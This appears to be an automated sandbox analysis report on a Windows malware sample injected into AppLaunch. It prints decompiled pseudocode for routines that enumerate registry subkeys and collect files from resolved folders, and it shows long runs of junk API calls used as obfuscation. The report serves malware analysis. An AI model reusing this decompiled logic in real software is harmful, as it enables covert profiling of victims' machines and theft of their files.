PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E
RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292
RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
GlobalFree.KERNEL32(?), ref: 0041B33F
RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B
RealDriveType.SHELL32(6459A2D3,00000000), ref: 0041B394
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B39A
RealDriveType.SHELL32(FF4BA676,00000000), ref: 0041B3A3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3A9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3AF
RealDriveType.SHELL32(D97D5CDF,00000000), ref: 0041B3B8
RealDriveType.SHELL32(709B99DB,00000000), ref: 0041B3C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3C7
RealDriveType.SHELL32(AC38C7DA,00000000), ref: 0041B3D0
RealDriveType.SHELL32(01624B42,00000000), ref: 0041B3D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3DF
RealDriveType.SHELL32(2027B2EF,00000000), ref: 0041B3E8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3EE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3F4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3FA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B400
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B406
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B40C
RealDriveType.SHELL32(26293B1F,00000000), ref: 0041B415
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B41B
RealDriveType.SHELL32(28C398C5,00000000), ref: 0041B424
RealDriveType.SHELL32(FD324B5E,00000000), ref: 0041B42D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B433
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B439
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B43F
RealDriveType.SHELL32(BD15EE40,00000000), ref: 0041B448

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$lstrlen$AllocFreeGlobalLocal
String ID:
API String ID: 1783238070-0
Opcode ID: e7e89fd1a2349ea50fb15fc5ae748ae192c503252d4d0d70b73c37ea82925309
Instruction ID: e2fe39bc6745297b0456c7254cab4ae125ef90c7431a46cfaa499f87dd89c46b
Opcode Fuzzy Hash: e7e89fd1a2349ea50fb15fc5ae748ae192c503252d4d0d70b73c37ea82925309
Instruction Fuzzy Hash: 150251317C4358BBF1B03BE1AD4FF596D949B84F56F610011F3496E1E28AE068029A7F

Uniqueness

Uniqueness Score: -1.00%

Function 00414F3C Relevance: 73.8, APIs: 41, Strings: 1, Instructions: 295
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00414F3C(void* __eflags, WCHAR** _a4, void* _a8) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				short* _v36;
				short* _v40;
				int _v44;
				void* _v48;
				void* _v52;
				int _v56;
				short* _t90;
				short* _t91;
				WCHAR* _t92;
				long _t95;
				long _t98;
				long _t102;
				long _t107;
				long _t110;
				long _t116;
				long _t126;
				WCHAR* _t133;
				long _t137;
				long _t143;
				WCHAR* _t153;
				WCHAR* _t160;
				intOrPtr* _t165;
				int _t166;
				int _t167;
				WCHAR* _t168;
				WCHAR* _t169;
				short* _t182;
				void* _t183;
				void* _t184;
				void* _t185;
				void* _t186;
				int* _t187;
				void* _t189;

				_t90 =  *0x423308; // 0x513d318
				_t165 = _a4;
				_v36 = _t90;
				_t91 =  *0x4232d8; // 0x513af00
				_t187 = 0;
				_t182 =  *0x423424; // 0x51247c8
				_v40 = _t91;
				_t92 =  *0x423340; // 0x513ca20
				_v8 = 0;
				_v56 = _t182;
				_v12 = _t92;
				_v20 = 0xf003f;
				 *_t165 = E0041AD76( *_t165, _a8, __eflags);
				_t95 = RegOpenKeyExW(0x80000002, _t182, 0, 0x20119,  &_v8); // executed
				if(_t95 == 0) {
					_t166 = 0;
					_v32 = 0;
					do {
						_v44 = 0x800;
						_t183 = LocalAlloc(0x40, 0x1000);
						_v48 = _t183;
						_t98 = RegEnumKeyExW(_v8, _t166, _t183,  &_v44, _t187, _t187, _t187, _t187); // executed
						_v52 = _t98;
						__eflags = _t98;
						if(_t98 != 0) {
							L15:
							LocalFree(_t183);
							goto L16;
						}
						_a8 = _t187;
						_t137 = RegOpenKeyExW(_v8, _t183, _t187, 0x20119,  &_a8); // executed
						__eflags = _t137;
						if(_t137 == 0) {
							_v28 = 0x1000;
							_v24 = 0x1000;
							_t169 = LocalAlloc(0x40, 0x2000);
							_v16 = LocalAlloc(0x40, _v24 + _v24);
							_t143 = RegQueryValueExW(_a8, _v36, _t187,  &_v20, _t169,  &_v28); // executed
							__eflags = _t143;
							if(_t143 != 0) {
								L14:
								LocalFree(_v16);
								LocalFree(_t169);
								RegCloseKey(_a8); // executed
								_t166 = _v32;
								goto L15;
							}
							_t186 = LocalAlloc(0x40, _v24 + _v28 + _v24 + _v28);
							_t153 = RegQueryValueExW(_a8, _v40, _t187,  &_v20, _v16,  &_v24); // executed
							__eflags = _t153;
							if(_t153 != 0) {
								L10:
								_push(_t187);
								L11:
								wsprintfW(_t186, _v12, _t169);
								_t189 = _t189 + 0x10;
								__eflags = StrStrW( *_a4, _t186);
								if(__eflags == 0) {
									 *_a4 = E0041AD76( *_a4, _t186, __eflags);
								}
								LocalFree(_t186);
								_t183 = _v48;
								goto L14;
							}
							_t160 = StrStrW(_t169, _v16);
							__eflags = _t160;
							if(_t160 != 0) {
								goto L10;
							}
							_push(_v16);
							goto L11;
						}
						LocalFree(_t183);
						RegCloseKey(_a8);
						L16:
						_t166 = _t166 + 1;
						_v32 = _t166;
						__eflags = _v52 - _t187;
					} while (_v52 == _t187);
					RegCloseKey(_v8);
					_v8 = _t187;
					_t102 = RegOpenKeyExW(0x80000002, _v56, _t187, 0x20019,  &_v8); // executed
					__eflags = _t102;
					if(_t102 != 0) {
						L34:
						RegCloseKey(_v8);
						return _t187;
					}
					_t167 = _t187;
					_v28 = _t187;
					do {
						_v56 = 0x800;
						_t184 = LocalAlloc(0x40, 0x1000);
						_v52 = _t184;
						_t107 = RegEnumKeyExW(_v8, _t167, _t184,  &_v56, _t187, _t187, _t187, _t187); // executed
						_v48 = _t107;
						__eflags = _t107;
						if(_t107 != 0) {
							L31:
							LocalFree(_t184);
							goto L32;
						}
						_a8 = _t187;
						_t110 = RegOpenKeyExW(_v8, _t184, _t187, 0x20019,  &_a8); // executed
						__eflags = _t110;
						if(_t110 == 0) {
							_v32 = 0x1000;
							_v24 = 0x1000;
							_t168 = LocalAlloc(0x40, 0x2000);
							_v16 = LocalAlloc(0x40, _v24 + _v24);
							_t116 = RegQueryValueExW(_a8, _v36, _t187,  &_v20, _t168,  &_v32); // executed
							__eflags = _t116;
							if(_t116 != 0) {
								L30:
								LocalFree(_v16);
								LocalFree(_t168);
								RegCloseKey(_a8); // executed
								_t167 = _v28;
								goto L31;
							}
							_t185 = LocalAlloc(0x40, _v24 + _v32 + _v24 + _v32);
							_t126 = RegQueryValueExW(_a8, _v40, _t187,  &_v20, _v16,  &_v24); // executed
							__eflags = _t126;
							if(_t126 != 0) {
								L26:
								_push(_t187);
								L27:
								wsprintfW(_t185, _v12, _t168);
								_t189 = _t189 + 0x10;
								__eflags = StrStrW( *_a4, _t185);
								if(__eflags == 0) {
									 *_a4 = E0041AD76( *_a4, _t185, __eflags);
								}
								LocalFree(_t185);
								_t184 = _v52;
								goto L30;
							}
							_t133 = StrStrW(_t168, _v16);
							__eflags = _t133;
							if(_t133 != 0) {
								goto L26;
							}
							_push(_v16);
							goto L27;
						}
						LocalFree(_t184);
						RegCloseKey(_a8);
						L32:
						_t167 = _t167 + 1;
						_v28 = _t167;
						__eflags = _v48 - _t187;
					} while (_v48 == _t187);
					_t187 = 1;
					__eflags = 1;
					goto L34;
				}
				RegCloseKey(_v8);
				return 0;
			}

0x00414f42
0x00414f4b
0x00414f4e
0x00414f51
0x00414f59
0x00414f5c
0x00414f62
0x00414f65
0x00414f6a
0x00414f6d
0x00414f70
0x00414f73
0x00414f7f
0x00414f91
0x00414f99
0x00414fab
0x00414fad
0x00414fb0
0x00414fb7
0x00414fc7
0x00414fd3
0x00414fd6
0x00414fdc
0x00414fdf
0x00414fe1
0x004150f4
0x004150f5
0x00000000
0x004150f5
0x00414fea
0x00414ff8
0x00414ffe
0x00415000
0x00415023
0x00415026
0x00415032
0x0041503f
0x00415052
0x00415058
0x0041505a
0x004150d8
0x004150db
0x004150e2
0x004150eb
0x004150f1
0x00000000
0x004150f1
0x0041506d
0x00415081
0x00415087
0x00415089
0x0041509e
0x0041509e
0x0041509f
0x004150a4
0x004150ad
0x004150b9
0x004150bb
0x004150cc
0x004150cc
0x004150cf
0x004150d5
0x00000000
0x004150d5
0x0041508f
0x00415095
0x00415097
0x00000000
0x00000000
0x00415099
0x00000000
0x00415099
0x00415003
0x0041500c
0x004150fb
0x004150fb
0x004150fc
0x004150ff
0x004150ff
0x0041510b
0x00415114
0x00415126
0x0041512c
0x0041512e
0x00415294
0x00415297
0x00000000
0x0041529d
0x00415134
0x00415136
0x00415139
0x00415140
0x00415150
0x0041515c
0x0041515f
0x00415165
0x00415168
0x0041516a
0x0041527d
0x0041527e
0x00000000
0x0041527e
0x00415173
0x00415181
0x00415187
0x00415189
0x004151ac
0x004151af
0x004151bb
0x004151c8
0x004151db
0x004151e1
0x004151e3
0x00415261
0x00415264
0x0041526b
0x00415274
0x0041527a
0x00000000
0x0041527a
0x004151f6
0x0041520a
0x00415210
0x00415212
0x00415227
0x00415227
0x00415228
0x0041522d
0x00415236
0x00415242
0x00415244
0x00415255
0x00415255
0x00415258
0x0041525e
0x00000000
0x0041525e
0x00415218
0x0041521e
0x00415220
0x00000000
0x00000000
0x00415222
0x00000000
0x00415222
0x0041518c
0x00415195
0x00415284
0x00415284
0x00415285
0x00415288
0x00415288
0x00415293
0x00415293
0x00000000
0x00415293
0x00414f9e
0x00000000

APIs

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

RegOpenKeyExW.KERNELBASE(80000002,051247C8,00000000,00020119,00000000,00000000,00000001,00000000,?,?,00415428,00000000,00000000,00000000,00000000,00000000), ref: 00414F91
RegCloseKey.ADVAPI32(00000000,?,?,00415428,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00414F9E
LocalAlloc.KERNEL32(00000040,00001000,?,?,00415428), ref: 00414FBE
RegEnumKeyExW.KERNELBASE(00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,?,00415428), ref: 00414FD6
RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00020119,00000000,?,?,00415428), ref: 00414FF8
LocalFree.KERNEL32(00000000,?,?,00415428), ref: 00415003
RegCloseKey.ADVAPI32(00000000,?,?,00415428), ref: 0041500C
RegCloseKey.ADVAPI32(00000000,?,?,00415428), ref: 0041510B
RegOpenKeyExW.KERNELBASE(80000002,?,00000000,00020019,00000000,?,?,00415428), ref: 00415126
LocalAlloc.KERNEL32(00000040,00001000), ref: 00415147
RegEnumKeyExW.KERNELBASE(00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000), ref: 0041515F
RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00020019,00000000), ref: 00415181
LocalFree.KERNEL32(00000000), ref: 0041518C
RegCloseKey.ADVAPI32(00000000), ref: 00415195
RegCloseKey.ADVAPI32(00000000,?,?,00415428), ref: 00415297

Strings

?, xrefs: 00414F73

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Close$LocalOpen$AllocEnumFree
String ID: ?
API String ID: 3478150623-1684325040
Opcode ID: c3ec4c1f145aef6b546bd3a24a119cd568b0394785764fdc7c742fe5a5966272
Instruction ID: 90cd08b1f06ee98fea129a6da1a27ea26b36f233cfd36272d161790db72caf8c
Opcode Fuzzy Hash: c3ec4c1f145aef6b546bd3a24a119cd568b0394785764fdc7c742fe5a5966272
Instruction Fuzzy Hash: A7B12C71A00218FFDB218FA1DC48EEEBFB9FF48752B504025F605A6264D7389A51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6D6 Relevance: 67.8, APIs: 45, Instructions: 309
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041E6D6(WCHAR* __ecx, WCHAR* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				WCHAR* _v40;
				WCHAR* _v44;
				void* _v48;
				WCHAR* _v52;
				WCHAR* _v56;
				signed int _v60;
				char _v64;
				void* _t72;
				void* _t78;
				void* _t84;
				void* _t88;
				WCHAR* _t98;
				WCHAR* _t102;
				WCHAR* _t116;
				void* _t118;
				void* _t121;
				void* _t124;
				WCHAR* _t125;
				WCHAR* _t128;
				int _t132;
				int _t137;
				WCHAR* _t140;
				WCHAR* _t141;
				WCHAR* _t142;
				signed int _t145;
				void* _t146;
				char _t175;
				void* _t186;
				WCHAR* _t189;
				WCHAR* _t190;
				void* _t194;
				signed int _t202;
				signed int _t205;
				int _t206;
				void* _t207;
				short* _t209;
				void* _t210;

				_t140 = __ecx;
				_v44 = __edx;
				_v56 = __ecx;
				_t189 = StrStrW(__ecx,  *0x4232f8);
				if(_t189 == 0) {
					L22:
					return 0;
				}
				while(1) {
					_t190 =  &(_t189[5]);
					_t3 =  &((StrStrW(_t190,  *0x423200))[1]); // 0x2
					_t196 = _t3;
					_v40 = StrStrW(_t3,  *0x4231f4);
					_t72 = LocalAlloc(0x40, lstrlenW(_t140) + _t70); // executed
					_v8 = _t72;
					_v12 = LocalAlloc(0x40, lstrlenW(_t140) + _t73);
					_t78 = LocalAlloc(0x40, lstrlenW(_t140) + _t76); // executed
					_v16 = _t78;
					_v20 = LocalAlloc(0x40, lstrlenW(_t140) + _t79);
					_t84 = LocalAlloc(0x40, lstrlenW(_t140) + _t82);
					_t141 = _v40;
					_v24 = _t84;
					_t87 = _t141 - _t190 >> 1;
					_v40 = _t141 - _t190 >> 1;
					_t88 = E00419B4E(_t190,  &_v8, _t196 - _t190 >> 1, _t87); // executed
					if(_t88 == 0) {
						break;
					}
					_t142 = StrStrW(_t141 + 2,  *0x4231f4);
					_t202 = _t142 - _t190 >> 1;
					if(E00419B4E(_t190,  &_v12,  &(_v40[0]), _t202) == 0) {
						break;
					}
					_t16 = _t142 + 2; // 0x2
					_t98 = StrStrW(_t16,  *0x4231f4);
					_v40 = _t98;
					_t18 = _t202 + 1; // 0x1
					_t145 = _t98 - _t190 >> 1;
					if(E00419B4E(_t190,  &_v16, _t18, _t145) == 0) {
						break;
					}
					_t102 = StrStrW( &(_v40[1]),  *0x4231f4);
					_v40 = _t102;
					_t22 = _t145 + 1; // 0x1
					_t205 = _t102 - _t190 >> 1;
					if(E00419B4E(_t190,  &_v20, _t22, _t205) == 0) {
						break;
					}
					_v52 = StrStrW( &(_v40[1]),  *0x423250);
					_t27 = _t205 + 1; // 0x1
					if(E00419B4E(_t190,  &_v24, _t27, _t106 - _t190 >> 1) == 0) {
						break;
					}
					_t206 = StrToIntW(_v12);
					if(_t206 > 0) {
						_t146 = LocalAlloc(0x40, 0x20a);
						_t118 =  *0x4230c0(0, _t146, _t206, 0); // executed
						if(_t118 != 0) {
							_t146 = PathCombineW(_t146, _t146, _v16);
							_v32 = 0;
							_t121 = LocalAlloc(0x40, 0x2000); // executed
							_v28 = _t121;
							E0041EFCD(_v8, _t146, _t146, _v20, _v24, _t121,  &_v32); // executed
							_t210 = _t210 + 0x14;
							_t219 = _v32;
							if(_v32 <= 0) {
								_t207 = _v28;
							} else {
								_t124 = LocalAlloc(0x40, 0x208);
								_t125 = LocalAlloc(0x40, 0x208);
								_t186 = 0x10;
								_t209 = E00416B1A(_t124, _t186);
								_v48 = _t209;
								_t128 = E0041AD76(StrCpyW(_t125,  *0x423230), _t209, _t219);
								_t175 =  *0x423224; // 0x513bc38
								_v60 = _v60 & 0x00000000;
								_v64 = _t175;
								_v40 = _t128;
								_v36 = E00413A99( &_v40, _t219);
								_t194 = LocalAlloc(0x40, 0x184);
								_t132 = WideCharToMultiByte(0xfde9, 0, _t209, 0xffffffff, 0, 0, 0, 0);
								if(_t132 == 0) {
									_t207 = _v28;
								} else {
									_t137 = WideCharToMultiByte(0xfde9, 0, _t209, 0xffffffff, _t194, _t132, 0, 0);
									_t207 = _v28;
									if(_t137 != 0) {
										E004133D0(_v44, _t194, 0, 0, _v32, _t207, _v36,  &_v64);
										_t210 = _t210 + 0x18;
									}
								}
								LocalFree(_t194);
								LocalFree(_v36);
								LocalFree(_v40);
								LocalFree(_v48);
							}
							LocalFree(_t207);
						}
						LocalFree(_t146);
					}
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20); // executed
					LocalFree(_v24); // executed
					_t116 = StrStrW(_v52 + 2,  *0x4232f8);
					_t140 = _v56;
					_t189 = _t116;
					if(_t189 != 0) {
						continue;
					} else {
						L21:
						goto L22;
					}
				}
				LocalFree(_v8);
				LocalFree(_v12);
				LocalFree(_v16);
				LocalFree(_v20);
				LocalFree(_v24);
				goto L21;
			}

0x0041e6e4
0x0041e6e6
0x0041e6ea
0x0041e6f3
0x0041e6f7
0x0041ea69
0x0041ea6d
0x0041ea6d
0x0041e6fe
0x0041e704
0x0041e714
0x0041e714
0x0041e71f
0x0041e72d
0x0041e734
0x0041e749
0x0041e757
0x0041e75e
0x0041e773
0x0041e781
0x0041e787
0x0041e78d
0x0041e79a
0x0041e79e
0x0041e7a1
0x0041e7aa
0x00000000
0x00000000
0x0041e7c6
0x0041e7cc
0x0041e7dc
0x00000000
0x00000000
0x0041e7e8
0x0041e7ec
0x0041e7f4
0x0041e7f9
0x0041e7fc
0x0041e80e
0x00000000
0x00000000
0x0041e821
0x0041e829
0x0041e82e
0x0041e831
0x0041e843
0x00000000
0x00000000
0x0041e85e
0x0041e869
0x0041e878
0x00000000
0x00000000
0x0041e887
0x0041e88b
0x0041e8a0
0x0041e8a6
0x0041e8ae
0x0041e8c6
0x0041e8c8
0x0041e8cb
0x0041e8d4
0x0041e8e5
0x0041e8ea
0x0041e8ed
0x0041e8f0
0x0041e9da
0x0041e8f6
0x0041e8fe
0x0041e909
0x0041e911
0x0041e921
0x0041e924
0x0041e931
0x0041e936
0x0041e93c
0x0041e940
0x0041e946
0x0041e955
0x0041e95e
0x0041e96f
0x0041e977
0x0041e9b3
0x0041e979
0x0041e988
0x0041e98e
0x0041e993
0x0041e9a9
0x0041e9ae
0x0041e9ae
0x0041e993
0x0041e9b7
0x0041e9c0
0x0041e9c9
0x0041e9d2
0x0041e9d2
0x0041e9de
0x0041e9de
0x0041e9e5
0x0041e9e5
0x0041e9ee
0x0041e9f7
0x0041ea00
0x0041ea09
0x0041ea12
0x0041ea25
0x0041ea2b
0x0041ea2e
0x0041ea32
0x00000000
0x0041ea38
0x0041ea67
0x00000000
0x0041ea67
0x0041ea32
0x0041ea3d
0x0041ea46
0x0041ea4f
0x0041ea58
0x0041ea61
0x00000000

APIs

StrStrW.SHLWAPI(00000000,00000000,00000000), ref: 0041E6ED
StrStrW.SHLWAPI(-0000000A,00000000), ref: 0041E708
StrStrW.SHLWAPI(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E718
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E722
LocalAlloc.KERNELBASE(00000040,00000000), ref: 0041E72D
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E737
LocalAlloc.KERNEL32(00000040,00000000), ref: 0041E742
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E74C
LocalAlloc.KERNELBASE(00000040,00000000), ref: 0041E757
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E761
LocalAlloc.KERNEL32(00000040,00000000), ref: 0041E76C
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E776
LocalAlloc.KERNEL32(00000040,00000000), ref: 0041E781

Part of subcall function 00419B4E: RealDriveType.SHELL32(28B5784F,00000000), ref: 00419B6C
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B76
Part of subcall function 00419B4E: RealDriveType.SHELL32(6CFEA2A9,00000000), ref: 00419B7F
Part of subcall function 00419B4E: RealDriveType.SHELL32(DE3824E3,00000000), ref: 00419B88
Part of subcall function 00419B4E: RealDriveType.SHELL32(421E54E9,00000000), ref: 00419B91
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B97
Part of subcall function 00419B4E: RealDriveType.SHELL32(CAECD9F1,00000000), ref: 00419BA0
Part of subcall function 00419B4E: RealDriveType.SHELL32(5F2761BB,00000000), ref: 00419BA9
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BAF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BB5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BBB
